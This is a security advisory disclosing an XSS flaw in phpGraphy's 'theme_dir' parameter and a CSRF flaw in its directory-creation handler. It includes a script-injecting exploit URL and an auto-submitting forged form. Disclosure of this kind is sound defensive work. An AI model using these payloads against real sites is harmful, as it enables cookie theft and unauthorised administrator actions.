Multiple Vulnerabilities in phpGraphy

High-Tech Bridge SA Security Research Lab has discovered vulnerabilities in phpGraphy which could be exploited to perform cross-site scripting and cross-site request forgery attacks.

1) Cross-site scripting (XSS) vulnerability in phpGraphy
The vulnerability exists due to input sanitation error in the "theme_dir" parameter in themes/default/header.inc.php. A remote attacker can send a specially crafted HTTP request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website.
Successful exploitation requires that register_globalsis enabled.
Exploitation example:
http://[host]/themes/default/header.inc.php?theme_dir=%22%3E%3Cscript%3Ealer t%28document.cookie%29;% 3C/script%3E

2) Cross-site request forgery (CSRF) vulnerability in phpGraphy
The vulnerability exists due to insufficient validation of the request origin in index.php. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and create arbitrary directories.
Exploitation example:
<form action="http://[host]/index.php" method="post" name="main" id="main">
<input type="hidden" name="createdirname" value="1">
<input type="hidden" name="dircreate" value="1">
<input type="hidden" name="dir" value="">
<input type="hidden" name="submit" value="OK">
<input type="submit" id="btn">
</form>
<script>
document.getElementById('btn').click();
</script>